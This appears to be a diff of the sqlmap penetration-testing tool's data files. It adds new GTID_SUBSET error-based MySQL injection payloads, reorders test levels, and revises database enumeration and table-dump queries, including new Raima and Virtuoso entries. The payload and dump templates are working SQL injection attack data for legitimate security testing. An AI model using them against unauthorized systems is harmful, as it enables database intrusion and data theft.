@@ -135,7 +175,7 @@
    <test>
        <title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
-        <level>1</level>
+        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,8,9</clause>
        <where>1</where>
@@ -159,7 +199,7 @@
    <test>
        <title>MySQL &gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
-        <level>1</level>
+        <level>2</level>
        <risk>3</risk>
        <clause>1,2,3,8,9</clause>
        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
@@ -184,7 +224,7 @@
    <test>
        <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
        <stype>2</stype>
-        <level>2</level>
+        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3,8,9</clause>
        <where>1</where>
@@ -208,7 +248,7 @@
    <test>
        <title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
        <stype>2</stype>
-        <level>2</level>
+        <level>1</level>
        <risk>3</risk>
        <clause>1,2,3,8,9</clause>
        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
@@ -282,7 +322,7 @@
    <test>
        <title>MySQL &gt;= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
-        <level>2</level>
+        <level>3</level>
        <risk>1</risk>
        <clause>1,2,3,8,9</clause>
        <where>1</where>
@@ -307,7 +347,7 @@
        <!-- It does not work against ORDER BY or GROUP BY clause -->
        <title>MySQL &gt;= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title>
        <stype>2</stype>
-        <level>2</level>
+        <level>3</level>
        <risk>3</risk>
        <clause>1,8,9</clause>
        <where>1</where>
@@ -332,7 +372,7 @@
    <test>
        <title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
        <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
        <risk>3</risk>
        <clause>1,8,9</clause>
        <where>2</where>
@@ -886,6 +926,26 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
        <stype>2</stype>
@@ -909,7 +969,7 @@
    <test>
        <title>MySQL &gt;= 5.0 error-based - Parameter replace (FLOOR)</title>
        <stype>2</stype>
-        <level>1</level>
+        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
@@ -957,7 +1017,7 @@
    <test>
        <title>MySQL &gt;= 5.1 error-based - Parameter replace (EXTRACTVALUE)</title>
        <stype>2</stype>
-        <level>3</level>
+        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
@@ -1155,6 +1215,26 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
@@ -1178,7 +1258,7 @@
    <test>
        <title>MySQL &gt;= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
@@ -1198,7 +1278,7 @@
    <test>
        <title>MySQL &gt;= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)</title>
        <stype>2</stype>
-        <level>4</level>
+        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
@@ -1238,7 +1318,7 @@
    <test>
        <title>MySQL &gt;= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
-        <level>2</level>
+        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -131,8 +131,8 @@
            <blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
        </tables>
        <columns>
-            <inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
+            <inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
-            <blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
+            <blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
        </columns>
        <dump_table>
            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
@@ -147,8 +147,8 @@
            <blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
        </search_table>
        <search_column>
-            <inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
+            <inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
-            <blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
+            <blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
        </search_column>
    </dbms>
@@ -198,11 +198,11 @@
            <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
        </dbs>
        <tables>
-            <inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
+            <inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
            <blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
        </tables>
        <columns>
-            <inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
+            <inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
            <blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
        </columns>
        <dump_table>
@@ -301,8 +301,8 @@
            <blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
        </columns>
        <dump_table>
-            <inband query="SELECT %s FROM %s"/>
+            <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
-            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
        </dump_table>
        <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
        <search_db>
@@ -357,7 +357,7 @@
            <blind query="SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT %d,1" count="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'"/>
        </tables>
        <columns>
-            <inband query="SELECT MIN(sql) FROM sqlite_master WHERE tbl_name='%s'"/>
+            <inband query="SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='%s'"/>
            <blind query="SELECT sql FROM sqlite_master WHERE tbl_name='%s' LIMIT 1" condition=""/>
        </columns>
        <dump_table>
@@ -1370,8 +1370,8 @@
            <blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
        </tables>
        <columns>
-            <inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
+            <inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
-            <blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
+            <blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
        </columns>
        <dump_table>
            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
@@ -1386,8 +1386,8 @@
            <blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
        </search_table>
        <search_column>
-            <inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
+            <inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
-            <blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
+            <blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
        </search_column>
    </dbms>
@@ -1626,4 +1626,94 @@
            <blind query="SELECT &quot;schema_name&quot; FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" query2="SELECT &quot;table_name&quot; FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND &quot;schema_name&quot;='%s'" count="SELECT COUNT(&quot;schema_name&quot;) FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" count2="SELECT COUNT(&quot;table_name&quot;) FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND &quot;schema_name&quot;='%s'" condition="&quot;column_name&quot;" condition2="&quot;schema_name&quot;" condition3="&quot;table_name&quot;"/>
        </search_column>
    </dbms>
    <dbms value="Raima Database Manager">
        <cast query="CONVERT(%s,CHAR)"/>
        <length query="LENGTH(%s)"/>
        <isnull query="IFNULL(%s,' ')"/>
        <delimiter query="||"/>
        <limit/>
        <limitregexp/>
        <limitgroupstart/>
        <limitgroupstop/>
        <limitstring/>
        <order query="ORDER BY %s ASC"/>
        <count query="COUNT(%s)"/>
        <comment query="/*"/>
        <concatenate query="%s||%s"/>
        <case query="SELECT (IF(%s,1,0))"/>
        <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
        <banner/>
        <current_user/>
        <current_db/>
        <hostname/>
        <table_comment/>
        <column_comment/>
        <is_dba/>
        <dbs/>
        <tables/>
        <dump_table>
            <inband query="SELECT %s FROM %s"/>
            <!-- NOTE: Raima does not like escaping of LIKE strings (e.g. ...LIKE CHAR(32)) -->
            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(%s,CHAR)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(%s,CHAR) LIKE [SINGLE_QUOTE]%s[SINGLE_QUOTE]" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(DISTINCT(%s)) FROM %s"/>
        </dump_table>
        <users/>
        <privileges/>
        <roles/>
        <statements/>
        <search_db/>
        <search_table/>
        <search_column/>
   </dbms>
    <dbms value="Virtuoso">
        <cast query="CAST(%s AS NCHAR)"/>
        <length query="LENGTH(%s)"/>
        <isnull query="__MAX_NOTNULL(%s,' ')"/>
        <delimiter query="||"/>
        <limit query="TOP (%d,%d)"/>
        <limitregexp query="\s+TOP\s*\(([\d]+)\s*\,\s*([\d]+)\)" query2="\s+TOP\s+([\d]+)"/>
        <limitgroupstart query="1"/>
        <limitgroupstop query="2"/>
        <limitstring query=" TOP "/>
        <order query="ORDER BY %s ASC"/>
        <count query="COUNT(%s)"/>
        <comment query="-- -" query2="/*"/>
        <concatenate query="%s||%s"/>
        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
        <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
        <banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
        <current_user query="USERNAME()"/>
        <current_db query="UPPER(USERNAME())"/>
        <hostname query="sys_stat('st_host_name')"/>
        <table_comment/>
        <column_comment/>
        <is_dba query="USERNAME()='dba'"/>
        <dbs>
            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
            <blind query="SELECT DISTINCT TOP (%d,1) schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
        </dbs>
        <tables>
            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
            <blind query="SELECT TOP (%d,1) table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
        </tables>
        <columns>
            <inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
        </columns>
        <dump_table>
            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
            <blind query="SELECT TOP (%d,1) %s FROM %s.%s ORDER BY %s" count="SELECT COUNT(*) FROM %s.%s"/>
        </dump_table>
        <users>
            <inband query="SELECT u_name FROM SYS_USERS WHERE U_IS_ROLE=0 ORDER BY 1"/>
            <blind query="SELECT TOP (%d,1) u_name FROM SYS_USERS WHERE U_IS_ROLE=0 ORDER BY 1" count="SELECT COUNT(DISTINCT(u_name)) FROM SYS_USERS"/>
        </users>
        <privileges/>
        <roles/>
        <statements/>
        <search_db/>
        <search_table/>
        <search_column/>
   </dbms>
 </root>
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -6,14 +6,17 @@
 # Version 1.3 (2019-01-05)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
 # Version 1.2 (2018-01-08)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
 # Version 1.1 (2017-04-07)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
 # Version 1.0 (2016-02-27)
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -151,11 +151,6 @@ Giorgio Fedon, <giorgio.fedon(at)gmail.com>
 Kasper Fons, <thefeds(at)mail.dk>
 * for reporting several bugs
 Jose Fonseca, <jose.r.fonseca(at)gmail.com>
 * for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only
    http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
    http://code.google.com/p/jrfonseca/wiki/XDot
 Alan Franzoni, <alan.franzoni(at)gmail.com>
 * for helping out with Python subprocess library
--- a/doc/THIRD-PARTY.md
+++ b/doc/THIRD-PARTY.md
@@ -48,14 +48,10 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * The `Chardet` library located under `thirdparty/chardet/`.
  Copyright (C) 2008, Mark Pilgrim.
 * The `Gprof2dot` library located under `thirdparty/gprof2dot/`.
  Copyright (C) 2008-2009, Jose Fonseca.
 * The `KeepAlive` library located under `thirdparty/keepalive/`.
